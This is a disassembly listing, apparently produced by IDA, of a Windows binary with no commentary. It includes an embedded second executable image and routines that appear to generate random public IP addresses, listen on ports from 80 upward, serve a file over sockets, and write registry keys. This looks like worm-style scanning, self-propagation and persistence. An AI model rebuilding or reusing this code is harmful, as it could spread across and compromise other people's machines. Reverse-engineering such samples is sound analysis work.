; ---------------------------------------------------------------------------
		dw 9090h
		dd 0
		dd 513025FFh, 90901000h, 0
		dd 513425FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB3C	proc near		; CODE XREF: sub_41B63C+58p
					; sub_41B63C+96p
		jmp	dword ptr ds:10005138h
sub_41BB3C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB48	proc near		; CODE XREF: sub_41B728+23p
		jmp	dword ptr ds:1000513Ch
sub_41BB48	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0
		dd 514025FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB60	proc near		; CODE XREF: .data:0041B560p
		jmp	dword ptr ds:10005144h
sub_41BB60	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB6C	proc near		; CODE XREF: sub_41B5A4+71p
					; sub_41B5A4+86p
		jmp	dword ptr ds:10005148h
sub_41BB6C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB78	proc near		; CODE XREF: .data:0041B939p
		jmp	dword ptr ds:1000514Ch
sub_41BB78	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB84	proc near		; CODE XREF: sub_41B8EB+14p
					; .data:0041BA0Ap
		jmp	dword ptr ds:10005150h
sub_41BB84	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41BB90	proc near		; CODE XREF: sub_41B63C+B7p
		jmp	dword ptr ds:10005154h
sub_41BB90	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 14h dup(0)
		dd 2 dup(1), 7Ch dup(0)
		dd 10001536h, 5	dup(0)
		dd 7325h, 720077h, 1Ch dup(0)
		dd 2, 0Ch, 0
		dd 3B4E2A00h, 734D3E5Ah
		db 0, 4Bh, 0
aAbcdefghijklmn	db 'abcdefghijklmno',0  ; DATA XREF: sub_40284A+1C2o
aAy		db 'Ay&',0
		db '\',0
aTtii		db '’’ˆë»',0
		align 4
		dd 4Fh dup(0)
		dd 5070h, 2 dup(0)
		dd 52F8h, 50E8h, 50B0h,	2 dup(0)
		dd 5340h, 5128h, 12h dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 2 dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
		dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
		dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 0
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
		dd 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	65470155h, 63695474h, 756F436Bh, 746Eh,	6547015Ch
		dd 72655674h, 6E6F6973h, 0
		dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
		dd 704F01D2h, 754D6E65h, 41786574h, 0
		dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
		dd 63h,	665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
		dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
		dd 635F0039h, 74697865h, 0
		dd 616D024Eh, 636F6C6Ch, 0
		dd 656D0254h, 7970636Dh, 0
		dd 7270025Bh, 66746E69h, 0
		dd 61720260h, 657369h, 65730267h, 66756274h, 0
		dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
		dd 74730275h, 79706372h, 0
aKernel32_dll_2	db 'KERNEL32.DLL',0
		align 4
		dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch	dup(10005014h)
		dd 22h dup(0)
		dd 20h,	0
		dd 20h,	1000h, 1800h, 2000h, 2C00h, 78h	dup(0)
		dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh,	311B3113h
		dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
		dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
		dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
		dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
		dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
		dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
		dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
		dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
		dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
		dd 33783374h, 4Ah dup(0)
aB_0		db 0Ah
		db 'µ|B',0
		align 4
aP		db '(p',0
		align 10h
		dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h
		dd 703Ch, 0
a_libmain@12	db '_LibMain@12',0
		dd 6Eh dup(0)
		db 0
byte_41C9E1	db 4Dh,	5Ah, 90h	; DATA XREF: sub_402784+6Ao
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
		dd 0E00E000h, 2010B01h,	1A0037h, 180000h, 20000h, 121900h
		dd 100000h, 300000h, 40000000h,	100000h, 20000h, 100h
		dd 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 500000h, 97000h, 1Ch	dup(0)
		dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h,	40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
		dd 1E0000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
		dd 2C0000h, 3 dup(0)
		dd 6000h, 0C0h,	79h dup(0)
		dd 40C03100h, 4244C8Bh,	60441F7h, 74000000h, 24448B0Fh
		dd 24548B08h, 0B8028910h, 3
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41CE01	proc near		; CODE XREF: .data:0041CF39p
					; .data:0041CF67p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CE1E:				; CODE XREF: sub_41CE01+44j
					; sub_41CE01+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CE4D
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CE4D
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CE1E
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_41CE1E
; ---------------------------------------------------------------------------


loc_41CE4D:				; CODE XREF: sub_41CE01+2Aj
					; sub_41CE01+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CE01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CE5B	proc near		; CODE XREF: .data:0041CF2Cp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_41E599
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CE5B	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		mov	dword ptr ds:loc_40408C, eax
		mov	dword ptr ds:loc_40408C+4, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_41CF60
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		mov	dword ptr ds:loc_40408C+4, eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41CEBE:				; CODE XREF: .data:0041CF57j
		cmp	esi, 0FFFFFFFFh
		jz	loc_41CF6F
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41CF4E
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword ptr ds:loc_40402D+3, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword ptr ds:loc_404032+2, eax
		mov	eax, [edx+4]
		mov	dword ptr ds:loc_404038, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, loc_40403B+1
		mov	esi, dword ptr ds:loc_404032+2
		rep movsd
		lea	edi, loc_40403B+1
		mov	dword ptr ds:loc_404032+2, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_41CF4E
		js	short loc_41CF5C
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CE5B
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CE01
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_41CF4E:				; CODE XREF: .data:0041CECFj
					; .data:0041CF24j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_41CEBE
; ---------------------------------------------------------------------------


loc_41CF5C:				; CODE XREF: .data:0041CF26j
		xor	eax, eax
		jmp	short loc_41CFD1
; ---------------------------------------------------------------------------


loc_41CF60:				; CODE XREF: .data:0041CE9Ej
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CE01
		add	esp, 0Ch


loc_41CF6F:				; CODE XREF: .data:0041CEC1j
		push	0
		mov	dword ptr ds:loc_40400C+4, 0Bh
		push	0Bh
		call	sub_41E73D
		add	esp, 8
		or	eax, eax
		jnz	short loc_41CFAA
		push	0
		mov	dword ptr ds:loc_40400C+4, 8
		push	8
		call	sub_41E73D
		add	esp, 8
		or	eax, eax
		jnz	short loc_41CFAA
		mov	eax, 1
		jmp	short loc_41CFD1
; ---------------------------------------------------------------------------


loc_41CFAA:				; CODE XREF: .data:0041CF87j
					; .data:0041CFA1j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41CFD9
		push	eax
		push	dword ptr ds:loc_40400C+4
		call	sub_41E73D
		add	esp, 8
		push	dword ptr ds:loc_40400C+4
		call	sub_41E725
		add	esp, 4
		mov	eax, 1


loc_41CFD1:				; CODE XREF: .data:0041CF5Ej
					; .data:0041CFA8j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41CFD9:				; CODE XREF: .data:0041CFADj
		cmp	dword ptr ds:loc_40402A+2, 0
		jnz	short loc_41CFE9
		mov	eax, 1
		jmp	short loc_41CFD1
; ---------------------------------------------------------------------------


loc_41CFE9:				; CODE XREF: .data:0041CFE0j
		mov	eax, dword ptr ds:loc_40402A+2
		push	0Bh
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0B858h
		dd 1, 0A164D7EBh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	40401Ch
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	eax
		fnstcw	word ptr [esp]
		or	word ptr [esp],	300h
		fldcw	word ptr [esp]
		add	esp, 4
		push	0
		push	0
		push	404028h
		push	404024h
		push	404020h
		call	sub_41E6E9
		push	dword ptr ds:loc_404023+5
		push	dword ptr ds:loc_404023+1
		push	dword ptr ds:loc_40401E+2
		mov	dword ptr ds:loc_404014, esp
		call	sub_41E441
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp-4], ecx
		push	eax
		call	sub_41E701
		leave
		retn
; ---------------------------------------------------------------------------
		db 64h,	0A3h, 0
		dd 0C3000000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D07D	proc near		; CODE XREF: sub_41D118+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_41E6DD
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_41D0A0:				; CODE XREF: sub_41D07D+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D0A0
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_41D0C8
; ---------------------------------------------------------------------------


loc_41D0B2:				; CODE XREF: sub_41D07D+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1


loc_41D0C8:				; CODE XREF: sub_41D07D+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_41D0B2
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_41D0F4
; ---------------------------------------------------------------------------


loc_41D0E2:				; CODE XREF: sub_41D07D+88j
		push	offset sub_404DE5
		push	edi
		call	sub_41E761
		add	esp, 8
		add	[ebp+var_3], 1


loc_41D0F4:				; CODE XREF: sub_41D07D+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_41D0E2
		push	[ebp+arg_8]
		push	edi
		call	sub_41E761
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D07D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D118	proc near		; CODE XREF: sub_41E239+97p

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	404DE3h
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_41D07D
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_41E551
		leave
		retn
sub_41D118	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D13D	proc near		; CODE XREF: .data:0041E1F7p
					; sub_41E239+F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41E6A1
		mov	edi, eax
		or	edi, edi
		jz	short loc_41D16D
		xor	eax, eax
		jmp	short loc_41D1A5
; ---------------------------------------------------------------------------


loc_41D16D:				; CODE XREF: sub_41D13D+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_41E6D1
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_41E6AD
		or	edi, edi
		jz	short loc_41D195
		xor	eax, eax
		jmp	short loc_41D1A5
; ---------------------------------------------------------------------------


loc_41D195:				; CODE XREF: sub_41D13D+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_41D1A2
		mov	eax, 2
		jmp	short loc_41D1A5
; ---------------------------------------------------------------------------


loc_41D1A2:				; CODE XREF: sub_41D13D+5Cj
		xor	eax, eax
		inc	eax


loc_41D1A5:				; CODE XREF: sub_41D13D+2Ej
					; sub_41D13D+56j ...
		pop	edi
		leave
		retn
sub_41D13D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D1A8	proc near		; CODE XREF: .data:0041E1D0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41E6B9
		mov	edi, eax
		or	edi, edi
		jz	short loc_41D1CD
		xor	eax, eax
		jmp	short loc_41D1F8
; ---------------------------------------------------------------------------


loc_41D1CD:				; CODE XREF: sub_41D1A8+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_41E6C5
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_41E6AD
		or	edi, edi
		jz	short loc_41D1F5
		xor	eax, eax
		jmp	short loc_41D1F8
; ---------------------------------------------------------------------------


loc_41D1F5:				; CODE XREF: sub_41D1A8+47j
		xor	eax, eax
		inc	eax


loc_41D1F8:				; CODE XREF: sub_41D1A8+23j
					; sub_41D1A8+4Bj
		pop	edi
		leave
		retn
sub_41D1A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41E3F9
		cmp	eax, 0FFFFFFFFh
		jz	loc_41D33F
		push	404DDFh
		lea	eax, [ebp-100h]
		push	eax
		call	sub_41E779
		add	esp, 8
		or	eax, eax
		jz	loc_41D301
		push	404DDBh
		lea	edx, [ebp-100h]
		push	edx
		call	sub_41E779
		add	esp, 8
		or	eax, eax
		jz	loc_41D301
		push	0
		push	3Dh
		push	404D9Dh
		push	dword ptr [ebp+8]
		call	sub_41E405
		push	dword ptr ds:loc_403000+4
		push	404D86h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_41E749
		add	esp, 0Ch
		lea	ecx, [ebp-200h]
		or	eax, 0FFFFFFFFh


loc_41D294:				; CODE XREF: .data:0041D299j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_41D294
		push	0
		push	eax
		lea	edx, [ebp-200h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_41E405


loc_41D2AD:				; CODE XREF: .data:0041D2F3j
		mov	eax, dword ptr ds:loc_403000+4
		mov	edi, eax
		sub	edi, ebx
		cmp	edi, 1000h
		jb	short loc_41D2C3
		mov	edi, 1000h


loc_41D2C3:				; CODE XREF: .data:0041D2BCj
		or	edi, edi
		jz	short loc_41D2F5
		push	0
		push	edi
		mov	eax, ebx
		add	eax, dword ptr ds:loc_403005+3
		push	eax
		push	dword ptr [ebp+8]
		call	sub_41E405
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D33F
		cmp	esi, 1000h
		jb	short loc_41D2F5
		add	ebx, esi
		push	64h
		call	sub_41E5B1
		jmp	short loc_41D2AD
; ---------------------------------------------------------------------------


loc_41D2F5:				; CODE XREF: .data:0041D2C5j
					; .data:0041D2E8j
		push	404098h
		call	sub_41E569
		jmp	short loc_41D323
; ---------------------------------------------------------------------------


loc_41D301:				; CODE XREF: .data:0041D23Ej
					; .data:0041D25Aj
		push	0
		push	15h
		push	offset sub_404D70
		push	dword ptr [ebp+8]
		call	sub_41E405
		push	0
		push	0Dh
		push	offset sub_40409C
		push	dword ptr [ebp+8]
		call	sub_41E405


loc_41D323:				; CODE XREF: .data:0041D2FFj
		push	7D0h
		call	sub_41E5B1
		push	2
		push	dword ptr [ebp+8]
		call	sub_41E411
		push	dword ptr [ebp+8]
		call	sub_41E399


loc_41D33F:				; CODE XREF: .data:0041D222j
					; .data:0041D2E0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		push	404098h
		call	sub_41E55D
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	offset sub_403010
		call	sub_41E581
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D385
		push	1
		call	sub_41E4F1


loc_41D385:				; CODE XREF: .data:0041D37Cj
		push	0
		push	ebx
		call	sub_41E515
		mov	dword ptr ds:loc_403000+4, eax
		push	eax
		push	0
		call	sub_41E575
		mov	dword ptr ds:loc_403005+3, eax
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr ds:loc_403000+4
		push	dword ptr ds:loc_403005+3
		push	ebx
		call	sub_41E58D
		push	ebx
		call	sub_41E52D
		push	0
		push	1
		push	2
		call	sub_41E41D
		mov	esi, eax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		call	sub_41E5A5
		mov	word ptr [ebp-24h], 2
		and	dword ptr [ebp-20h], 0
		mov	word ptr [ebp-26h], 0


loc_41D3E5:				; CODE XREF: .data:0041D425j
		movzx	eax, word ptr [ebp-26h]
		add	eax, 50h
		mov	word ptr ds:loc_404092+2, ax
		movzx	eax, word ptr ds:loc_404092+2
		push	eax
		call	sub_41E3C9
		mov	edx, eax
		mov	[ebp-22h], dx
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	esi
		call	sub_41E38D
		mov	[ebp-2Ch], eax
		inc	word ptr [ebp-26h]
		or	eax, eax
		jz	short loc_41D427
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 0FDE8h
		jl	short loc_41D3E5


loc_41D427:				; CODE XREF: .data:0041D41Aj
		push	64h
		push	esi
		call	sub_41E3ED
		mov	dword ptr [ebp-4], 10h


loc_41D436:				; CODE XREF: .data:0041D461j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_41E381
		mov	edi, eax
		lea	eax, [ebp-34h]
		push	eax
		push	0
		push	edi
		push	40141Ah
		push	0
		push	0
		call	sub_41E5D5
		push	eax
		call	sub_41E52D
		jmp	short loc_41D436
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D468	proc near		; CODE XREF: .data:0041DC9Bp

var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_13]
		lea	esi, loc_4040A7+3
		mov	ecx, 4
		rep movsd
		lea	edi, [ebp+var_18]
		lea	esi, loc_4040B2+8
		mov	ecx, 5
		rep movsb


loc_41D491:				; CODE XREF: sub_41D468+51j
					; sub_41D468+74j
		call	sub_41E731
		mov	ecx, 0DDh
		cdq
		idiv	ecx
		lea	edi, [edx+3]
		mov	ebx, edi
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		jmp	short loc_41D4E2
; ---------------------------------------------------------------------------


loc_41D4AE:				; CODE XREF: sub_41D468+81j
		mov	al, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		cmp	al, [ebp+edx+var_13]
		jz	short loc_41D491
		movzx	eax, [ebp+var_2]
		cmp	eax, 5
		jnb	short loc_41D4DE
		movzx	eax, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		movzx	ecx, [ebp+edx+var_13]
		cmp	eax, ecx
		jb	short loc_41D4DE
		movzx	edx, [ebp+edx+var_18]
		cmp	eax, edx
		jbe	short loc_41D491


loc_41D4DE:				; CODE XREF: sub_41D468+5Aj
					; sub_41D468+6Bj
		inc	[ebp+var_2]


loc_41D4E2:				; CODE XREF: sub_41D468+44j
		movzx	eax, [ebp+var_2]
		cmp	eax, 10h
		jb	short loc_41D4AE


loc_41D4EB:				; CODE XREF: sub_41D468+ACj
		call	sub_41E731
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_19], bl
		movzx	eax, [ebp+var_3]
		cmp	eax, 0C0h
		jnz	short loc_41D516
		movzx	eax, [ebp+var_19]
		cmp	eax, 0A8h
		jz	short loc_41D4EB


loc_41D516:				; CODE XREF: sub_41D468+A1j
		call	sub_41E731
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1A], bl
		call	sub_41E731
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1B], bl
		movzx	eax, [ebp+var_1B]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		movzx	eax, [ebp+var_19]
		push	eax
		movzx	eax, [ebp+var_3]
		push	eax
		push	404D64h
		push	[ebp+arg_0]
		call	sub_41E749
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D468	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D569	proc near		; CODE XREF: .data:0041DEA0p

var_89F4	= dword	ptr -89F4h
var_89F0	= dword	ptr -89F0h
var_89EC	= dword	ptr -89ECh
var_89E8	= dword	ptr -89E8h
var_89E3	= byte ptr -89E3h
var_89E2	= word ptr -89E2h
var_89E0	= byte ptr -89E0h
var_89D8	= byte ptr -89D8h
var_8970	= byte ptr -8970h
var_6900	= byte ptr -6900h
var_68E2	= byte ptr -68E2h
var_6842	= byte ptr -6842h
var_6136	= dword	ptr -6136h
var_6126	= byte ptr -6126h
var_6112	= byte ptr -6112h
var_60A2	= byte ptr -60A2h
var_55DE	= byte ptr -55DEh
var_403A	= byte ptr -403Ah
var_4039	= byte ptr -4039h
var_3FBD	= byte ptr -3FBDh
var_37ED	= byte ptr -37EDh
var_3342	= byte ptr -3342h
var_3058	= dword	ptr -3058h
var_3054	= dword	ptr -3054h
var_3050	= dword	ptr -3050h
var_304C	= word ptr -304Ch
var_304A	= word ptr -304Ah
var_3048	= dword	ptr -3048h
var_303C	= byte ptr -303Ch
var_3039	= byte ptr -3039h
var_300F	= byte ptr -300Fh
var_300D	= byte ptr -300Dh
var_300C	= byte ptr -300Ch
var_2FC7	= byte ptr -2FC7h
var_2F83	= byte ptr -2F83h
var_2987	= byte ptr -2987h
var_21A3	= byte ptr -21A3h
var_2193	= byte ptr -2193h
var_1E6F	= byte ptr -1E6Fh
var_1E6B	= byte ptr -1E6Bh
var_1E5F	= byte ptr -1E5Fh
var_1BDA	= byte ptr -1BDAh
var_1BD9	= byte ptr -1BD9h
var_B46		= byte ptr -0B46h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
